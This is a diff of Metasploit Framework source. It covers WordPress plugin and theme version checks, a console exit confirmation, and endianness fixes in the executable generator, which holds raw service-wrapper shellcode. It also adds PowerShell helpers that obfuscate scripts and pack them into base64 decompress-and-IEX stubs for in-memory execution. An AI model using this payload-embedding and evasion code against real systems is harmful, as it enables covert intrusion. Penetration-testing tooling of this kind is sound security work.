|
||||
# detect version from opml
|
||||
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
||||
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
|
||||
return version if version
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Used to check if the version is correct: must contain at least one dot.
|
||||
# Checks a readme for a vulnerable version
|
||||
#
|
||||
# @return [ String ]
|
||||
def wordpress_version_pattern
|
||||
'([^\r\n"\']+\.[^\r\n"\']+)'
|
||||
# @param [String] plugin_name The name of the plugin
|
||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
|
||||
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
# Checks a readme for a vulnerable version
|
||||
#
|
||||
# @param [String] theme_name The name of the theme
|
||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
|
||||
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def wordpress_version_helper(url, regex)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
})
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
)
|
||||
if res
|
||||
match = res.body.match(regex)
|
||||
if match
|
||||
return match[1]
|
||||
end
|
||||
return match[1] if match
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
|
||||
case type
|
||||
when :plugin
|
||||
folder = 'plugins'
|
||||
when :theme
|
||||
folder = 'themes'
|
||||
else
|
||||
fail("Unknown readme type #{type}")
|
||||
end
|
||||
|
||||
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'readme.txt')
|
||||
res = send_request_cgi(
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
# no readme.txt present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
||||
|
||||
# readme present, but no version number
|
||||
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||
|
||||
vprint_status("#{peer} - Found version #{version} of the #{type}")
|
||||
|
||||
# Version older than fixed version
|
||||
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
|
||||
if vuln_introduced_version.nil?
|
||||
# All versions are vulnerable
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
# vuln_introduced_version provided, check if version is newer
|
||||
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
# Not in range, nut vulnerable
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
# version newer than fixed version
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -670,6 +670,14 @@ class Core
|
|||
if(framework.sessions.length > 0 and not forced)
|
||||
print_status("You have active sessions open, to exit anyway type \"exit -y\"")
|
||||
return
|
||||
elsif(driver.confirm_exit and not forced)
|
||||
print("Are you sure you want to exit Metasploit? [y/N]: ")
|
||||
response = gets.downcase.chomp
|
||||
if(response == "y" || response == "yes")
|
||||
driver.stop
|
||||
else
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
driver.stop
|
||||
|
|
|
@ -1802,7 +1802,7 @@ class Db
|
|||
# Miscellaneous option helpers
|
||||
#
|
||||
|
||||
# Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+
|
||||
# Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+
|
||||
#
|
||||
# @note This modifies +host_ranges+ in place
|
||||
#
|
||||
|
|
|
@ -158,6 +158,9 @@ class Driver < Msf::Ui::Driver
|
|||
# Whether or not command passthru should be allowed
|
||||
self.command_passthru = (opts['AllowCommandPassthru'] == false) ? false : true
|
||||
|
||||
# Whether or not to confirm before exiting
|
||||
self.confirm_exit = (opts['ConfirmExit'] == true) ? true : false
|
||||
|
||||
# Disables "dangerous" functionality of the console
|
||||
@defanged = opts['Defanged'] == true
|
||||
|
||||
|
@ -592,6 +595,10 @@ class Driver < Msf::Ui::Driver
|
|||
# The framework instance associated with this driver.
|
||||
#
|
||||
attr_reader :framework
|
||||
#
|
||||
# Whether or not to confirm before exiting
|
||||
#
|
||||
attr_reader :confirm_exit
|
||||
#
|
||||
# Whether or not commands can be passed through.
|
||||
#
|
||||
|
@ -628,6 +635,7 @@ class Driver < Msf::Ui::Driver
|
|||
protected
|
||||
|
||||
attr_writer :framework # :nodoc:
|
||||
attr_writer :confirm_exit # :nodoc:
|
||||
attr_writer :command_passthru # :nodoc:
|
||||
|
||||
#
|
||||
|
|
|
@ -340,22 +340,22 @@ require 'msf/core/exe/segment_injector'
|
|||
|
||||
# look for section with entry point
|
||||
sections_header.each do |sec|
|
||||
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
|
||||
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
|
||||
characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
|
||||
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
|
||||
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
|
||||
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
|
||||
|
||||
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
|
||||
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('L')[0]
|
||||
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
|
||||
if (importsTable - addressOfEntryPoint) < code.length
|
||||
#shift original entry point to prevent tables overwritting
|
||||
addressOfEntryPoint = importsTable - (code.length + 4)
|
||||
|
||||
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
|
||||
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('L')
|
||||
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
|
||||
end
|
||||
# put this section writable
|
||||
characteristics |= 0x8000_0000
|
||||
newcharacteristics = [characteristics].pack('L')
|
||||
newcharacteristics = [characteristics].pack('V')
|
||||
exe[sec[0],newcharacteristics.length] = newcharacteristics
|
||||
end
|
||||
end
|
||||
|
@ -572,20 +572,20 @@ require 'msf/core/exe/segment_injector'
|
|||
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
||||
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
|
||||
"\x26\x07\xFF\xD5"+pushed_service_name+"\x89\xE1" +
|
||||
"\x8D\x85"+[svcmain_code_offset].pack('<I')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
|
||||
"\x8D\x85"+[svcmain_code_offset].pack('V')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
|
||||
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
|
||||
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
|
||||
[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1\x8D" +
|
||||
"\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
|
||||
[hash_code_offset].pack('V')+pushed_service_name+"\x89\xE1\x8D" +
|
||||
"\x85"+[svcctrlhandler_code_offset].pack('V')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
|
||||
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
|
||||
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
|
||||
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
|
||||
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
|
||||
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
|
||||
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
|
||||
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('<I')+"\x57\x51\x68\xAE\x87" +
|
||||
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('V')+"\x57\x51\x68\xAE\x87" +
|
||||
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
|
||||
[shellcode_code_offset].pack('<I')+"\x54\x68"+[code.length].pack('<I') +
|
||||
[shellcode_code_offset].pack('V')+"\x54\x68"+[code.length].pack('V') +
|
||||
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
|
||||
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
|
||||
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
|
||||
|
@ -654,12 +654,17 @@ require 'msf/core/exe/segment_injector'
|
|||
msi = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
section_size = 2**(msi[30..31].unpack('s')[0])
|
||||
sector_allocation_table = msi[section_size..section_size*2].unpack('l*')
|
||||
section_size = 2**(msi[30..31].unpack('v')[0])
|
||||
|
||||
# This table is one of the few cases where signed values are needed
|
||||
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
|
||||
|
||||
buffer_chain = []
|
||||
current_secid = 5 # This is closely coupled with the template provided and ideally
|
||||
# would be calculated from the dir stream?
|
||||
|
||||
# This is closely coupled with the template provided and ideally
|
||||
# would be calculated from the dir stream?
|
||||
current_secid = 5
|
||||
|
||||
|
||||
until current_secid == -2
|
||||
buffer_chain << current_secid
|
||||
|
@ -827,8 +832,8 @@ require 'msf/core/exe/segment_injector'
|
|||
|
||||
# Check EI_CLASS to determine if the header is 32 or 64 bit
|
||||
# Use the proper offsets and pack size
|
||||
case elf[4]
|
||||
when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9)
|
||||
case elf[4,1].unpack("C").first
|
||||
when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
|
||||
if big_endian
|
||||
elf[0x44,4] = [elf.length].pack('N') #p_filesz
|
||||
elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
|
||||
|
@ -836,13 +841,13 @@ require 'msf/core/exe/segment_injector'
|
|||
elf[0x44,4] = [elf.length].pack('V') #p_filesz
|
||||
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
|
||||
end
|
||||
when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9)
|
||||
when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
|
||||
if big_endian
|
||||
elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
|
||||
elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
|
||||
else # little endian
|
||||
elf[0x60,8] = [elf.length].pack('Q') #p_filesz
|
||||
elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz
|
||||
elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
|
||||
elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
|
||||
end
|
||||
else
|
||||
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
|
||||
|
@ -1079,17 +1084,18 @@ require 'msf/core/exe/segment_injector'
|
|||
end
|
||||
|
||||
def self.to_win32pe_psh_net(framework, code, opts={})
|
||||
hash_sub = {}
|
||||
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:var_code)
|
||||
rig.init_var(:var_kernel32)
|
||||
rig.init_var(:var_baseaddr)
|
||||
rig.init_var(:var_threadHandle)
|
||||
rig.init_var(:var_output)
|
||||
rig.init_var(:var_codeProvider)
|
||||
rig.init_var(:var_compileParams)
|
||||
rig.init_var(:var_syscode)
|
||||
rig.init_var(:var_temp)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||
|
||||
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
|
|
|
@ -49,7 +49,7 @@ module Arch
|
|||
when ARCH_X86
|
||||
[addr].pack('V')
|
||||
when ARCH_X86_64
|
||||
[addr].pack('Q')
|
||||
[addr].pack('Q<')
|
||||
when ARCH_MIPS # ambiguous
|
||||
[addr].pack('N')
|
||||
when ARCH_MIPSBE
|
||||
|
|
|
@ -28,7 +28,7 @@ module NDR
|
|||
# use to encode:
|
||||
# byte element_1;
|
||||
def NDR.byte(string)
|
||||
return [string].pack('c')
|
||||
return [string].pack('C')
|
||||
end
|
||||
|
||||
# Encode a byte array
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/exploitation/powershell/output'
|
||||
require 'rex/exploitation/powershell/parser'
|
||||
require 'rex/exploitation/powershell/obfu'
|
||||
require 'rex/exploitation/powershell/param'
|
||||
require 'rex/exploitation/powershell/function'
|
||||
require 'rex/exploitation/powershell/script'
|
||||
require 'rex/exploitation/powershell/psh_methods'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
#
|
||||
# Reads script into a PowershellScript
|
||||
#
|
||||
# @param script_path [String] Path to the Script File
|
||||
#
|
||||
# @return [Script] Powershell Script object
|
||||
def self.read_script(script_path)
|
||||
Rex::Exploitation::Powershell::Script.new(script_path)
|
||||
end
|
||||
|
||||
#
|
||||
# Insert substitutions into the powershell script
|
||||
# If script is a path to a file then read the file
|
||||
# otherwise treat it as the contents of a file
|
||||
#
|
||||
# @param script [String] Script file or path to script
|
||||
# @param subs [Array] Substitutions to insert
|
||||
#
|
||||
# @return [String] Modified script file
|
||||
def self.make_subs(script, subs)
|
||||
if ::File.file?(script)
|
||||
script = ::File.read(script)
|
||||
end
|
||||
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0], set[1])
|
||||
end
|
||||
|
||||
script
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of substitutions for use in make_subs
|
||||
#
|
||||
# @param subs [String] A ; seperated list of substitutions
|
||||
#
|
||||
# @return [Array] An array of substitutions
|
||||
def self.process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
|
||||
new_subs
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,63 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Function
|
||||
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
|
||||
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
|
||||
attr_accessor :code, :name, :params
|
||||
|
||||
include Output
|
||||
include Parser
|
||||
include Obfu
|
||||
|
||||
def initialize(name, code)
|
||||
@name = name
|
||||
@code = code
|
||||
populate_params
|
||||
end
|
||||
|
||||
#
|
||||
# To String
|
||||
#
|
||||
# @return [String] Powershell function
|
||||
def to_s
|
||||
"function #{name} #{code}"
|
||||
end
|
||||
|
||||
#
|
||||
# Identify the parameters from the code and
|
||||
# store as Param in @params
|
||||
#
|
||||
def populate_params
|
||||
@params = []
|
||||
start = code.index(PARAMETER_REGEX)
|
||||
return unless start
|
||||
# Get start of our block
|
||||
idx = scan_with_index('(', code[start..-1]).first.last + start
|
||||
pclause = block_extract(idx)
|
||||
|
||||
matches = pclause.scan(FUNCTION_REGEX)
|
||||
|
||||
# Ignore assignment, create params with class and variable names
|
||||
matches.each do |param|
|
||||
klass = nil
|
||||
name = nil
|
||||
param.each do |value|
|
||||
if value
|
||||
if klass
|
||||
name = value
|
||||
@params << Param.new(klass, name)
|
||||
break
|
||||
else
|
||||
klass = value
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,98 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Obfu
|
||||
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
|
||||
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
|
||||
WINDOWS_EOL_REGEX = Regexp.new(/[\r\n]+/)
|
||||
UNIX_EOL_REGEX = Regexp.new(/[\n]+/)
|
||||
WHITESPACE_REGEX = Regexp.new(/\s+/)
|
||||
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
|
||||
|
||||
#
|
||||
# Remove comments
|
||||
#
|
||||
# @return [String] code without comments
|
||||
def strip_comments
|
||||
# Multi line
|
||||
code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
|
||||
# Single line
|
||||
code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Remove empty lines
|
||||
#
|
||||
# @return [String] code without empty lines
|
||||
def strip_empty_lines
|
||||
# Windows EOL
|
||||
code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
|
||||
# UNIX EOL
|
||||
code.gsub!(UNIX_EOL_REGEX, "\n")
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Remove whitespace
|
||||
# This can break some codes using inline .NET
|
||||
#
|
||||
# @return [String] code with whitespace stripped
|
||||
def strip_whitespace
|
||||
code.gsub!(WHITESPACE_REGEX, ' ')
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Identify variables and replace them
|
||||
#
|
||||
# @return [String] code with variable names replaced with unique values
|
||||
def sub_vars
|
||||
# Get list of variables, remove reserved
|
||||
get_var_names.each do |var, _sub|
|
||||
code.gsub!(var, "$#{@rig.init_var(var)}")
|
||||
end
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Identify function names and replace them
|
||||
#
|
||||
# @return [String] code with function names replaced with unique
|
||||
# values
|
||||
def sub_funcs
|
||||
# Find out function names, make map
|
||||
get_func_names.each do |var, _sub|
|
||||
code.gsub!(var, @rig.init_var(var))
|
||||
end
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Perform standard substitutions
|
||||
#
|
||||
# @return [String] code with standard substitution methods applied
|
||||
def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
|
||||
# Save us the trouble of breaking injected .NET and such
|
||||
subs.delete('strip_whitespace') unless get_string_literals.empty?
|
||||
# Run selected modifiers
|
||||
subs.each do |modifier|
|
||||
send(modifier)
|
||||
end
|
||||
code.gsub!(EMPTY_LINE_REGEX, '')
|
||||
|
||||
code
|
||||
end
|
||||
end # Obfu
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,151 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'zlib'
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Output
|
||||
#
|
||||
# To String
|
||||
#
|
||||
# @return [String] Code
|
||||
def to_s
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Returns code size
|
||||
#
|
||||
# @return [Integer] Code size
|
||||
def size
|
||||
code.size
|
||||
end
|
||||
|
||||
#
|
||||
# Return code with numbered lines
|
||||
#
|
||||
# @return [String] Powershell code with line numbers
|
||||
def to_s_lineno
|
||||
numbered = ''
|
||||
code.split(/\r\n|\n/).each_with_index do |line, idx|
|
||||
numbered << "#{idx}: #{line}"
|
||||
end
|
||||
|
||||
numbered
|
||||
end
|
||||
|
||||
#
|
||||
# Return a zlib compressed powershell code wrapped in decode stub
|
||||
#
|
||||
# @param eof [String] End of file identifier to append to code
|
||||
#
|
||||
# @return [String] Zlib compressed powershell code wrapped in
|
||||
# decompression stub
|
||||
def deflate_code(eof = nil)
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = ::Zlib::Deflate.deflate(code,
|
||||
::Zlib::BEST_COMPRESSION)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = '$s=New-Object IO.MemoryStream(,'
|
||||
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||
# Read & delete the first two bytes due to incompatibility with MS
|
||||
psh_expression << '$s.ReadByte();'
|
||||
psh_expression << '$s.ReadByte();'
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||
psh_expression << 'New-Object IO.Compression.DeflateStream('
|
||||
psh_expression << '$s,'
|
||||
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||
psh_expression << ')).ReadToEnd();'
|
||||
|
||||
# If eof is set, add a marker to signify end of code output
|
||||
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
psh_expression << "echo '#{eof}';" if eof
|
||||
|
||||
@code = psh_expression
|
||||
end
|
||||
|
||||
#
|
||||
# Return Base64 encoded powershell code
|
||||
#
|
||||
# @return [String] Base64 encoded powershell code
|
||||
def encode_code
|
||||
@code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
|
||||
end
|
||||
|
||||
#
|
||||
# Return a gzip compressed powershell code wrapped in decoder stub
|
||||
#
|
||||
# @param eof [String] End of file identifier to append to code
|
||||
#
|
||||
# @return [String] Gzip compressed powershell code wrapped in
|
||||
# decompression stub
|
||||
def gzip_code(eof = nil)
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = Rex::Text.gzip(code)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = '$s=New-Object IO.MemoryStream(,'
|
||||
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||
psh_expression << 'New-Object IO.Compression.GzipStream('
|
||||
psh_expression << '$s,'
|
||||
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||
psh_expression << ')).ReadToEnd();'
|
||||
|
||||
# If eof is set, add a marker to signify end of code output
|
||||
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
psh_expression << "echo '#{eof}';" if eof
|
||||
|
||||
@code = psh_expression
|
||||
end
|
||||
|
||||
#
|
||||
# Compresses script contents with gzip (default) or deflate
|
||||
#
|
||||
# @param eof [String] End of file identifier to append to code
|
||||
# @param gzip [Boolean] Whether to use gzip compression or deflate
|
||||
#
|
||||
# @return [String] Compressed code wrapped in decompression stub
|
||||
def compress_code(eof = nil, gzip = true)
|
||||
@code = gzip ? gzip_code(eof) : deflate_code(eof)
|
||||
end
|
||||
|
||||
#
|
||||
# Reverse the compression process
|
||||
# Try gzip, inflate if that fails
|
||||
#
|
||||
# @return [String] Decompressed powershell code
|
||||
def decompress_code
|
||||
# Extract substring with payload
|
||||
encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
|
||||
# Decode and decompress the string
|
||||
unencoded = Rex::Text.decode_base64(encoded_stream)
|
||||
begin
|
||||
@code = Rex::Text.ungzip(unencoded) || Rex::Text.zlib_inflate(unencoded)
|
||||
rescue Zlib::GzipFile::Error
|
||||
begin
|
||||
@code = Rex::Text.zlib_inflate(unencoded)
|
||||
rescue Zlib::DataError => e
|
||||
raise RuntimeError, 'Invalid compression'
|
||||
end
|
||||
end
|
||||
|
||||
@code
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,23 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Param
|
||||
attr_accessor :klass, :name
|
||||
def initialize(klass, name)
|
||||
@klass = klass.strip
|
||||
@name = name.strip.gsub(/\s|,/, '')
|
||||
end
|
||||
|
||||
#
|
||||
# To String
|
||||
#
|
||||
# @return [String] Powershell param
|
||||
def to_s
|
||||
"[#{klass}]$#{name}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,183 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Parser
|
||||
# Reserved special variables
|
||||
# Acquired with: Get-Variable | Format-Table name, value -auto
|
||||
RESERVED_VARIABLE_NAMES = [
|
||||
'$$',
|
||||
'$?',
|
||||
'$^',
|
||||
'$_',
|
||||
'$args',
|
||||
'$ConfirmPreference',
|
||||
'$ConsoleFileName',
|
||||
'$DebugPreference',
|
||||
'$Env',
|
||||
'$Error',
|
||||
'$ErrorActionPreference',
|
||||
'$ErrorView',
|
||||
'$ExecutionContext',
|
||||
'$false',
|
||||
'$FormatEnumerationLimit',
|
||||
'$HOME',
|
||||
'$Host',
|
||||
'$input',
|
||||
'$LASTEXITCODE',
|
||||
'$MaximumAliasCount',
|
||||
'$MaximumDriveCount',
|
||||
'$MaximumErrorCount',
|
||||
'$MaximumFunctionCount',
|
||||
'$MaximumHistoryCount',
|
||||
'$MaximumVariableCount',
|
||||
'$MyInvocation',
|
||||
'$NestedPromptLevel',
|
||||
'$null',
|
||||
'$OutputEncoding',
|
||||
'$PID',
|
||||
'$PROFILE',
|
||||
'$ProgressPreference',
|
||||
'$PSBoundParameters',
|
||||
'$PSCulture',
|
||||
'$PSEmailServer',
|
||||
'$PSHOME',
|
||||
'$PSSessionApplicationName',
|
||||
'$PSSessionConfigurationName',
|
||||
'$PSSessionOption',
|
||||
'$PSUICulture',
|
||||
'$PSVersionTable',
|
||||
'$PWD',
|
||||
'$ReportErrorShowExceptionClass',
|
||||
'$ReportErrorShowInnerException',
|
||||
'$ReportErrorShowSource',
|
||||
'$ReportErrorShowStackTrace',
|
||||
'$ShellId',
|
||||
'$StackTrace',
|
||||
'$true',
|
||||
'$VerbosePreference',
|
||||
'$WarningPreference',
|
||||
'$WhatIfPreference'
|
||||
].map(&:downcase).freeze
|
||||
|
||||
#
|
||||
# Get variable names from code, removes reserved names from return
|
||||
#
|
||||
# @return [Array] variable names
|
||||
def get_var_names
|
||||
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
||||
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
|
||||
end
|
||||
|
||||
#
|
||||
# Get function names from code
|
||||
#
|
||||
# @return [Array] function names
|
||||
def get_func_names
|
||||
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt to find string literals in PSH expression
|
||||
#
|
||||
# @return [Array] string literals
|
||||
def get_string_literals
|
||||
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
||||
end
|
||||
|
||||
#
|
||||
# Scan code and return matches with index
|
||||
#
|
||||
# @param str [String] string to match in code
|
||||
# @param source [String] source code to match, defaults to @code
|
||||
#
|
||||
# @return [Array[String,Integer]] matched items with index
|
||||
def scan_with_index(str, source = code)
|
||||
::Enumerator.new do |y|
|
||||
source.scan(str) do
|
||||
y << ::Regexp.last_match
|
||||
end
|
||||
end.map { |m| [m.to_s, m.offset(0)[0]] }
|
||||
end
|
||||
|
||||
#
|
||||
# Return matching bracket type
|
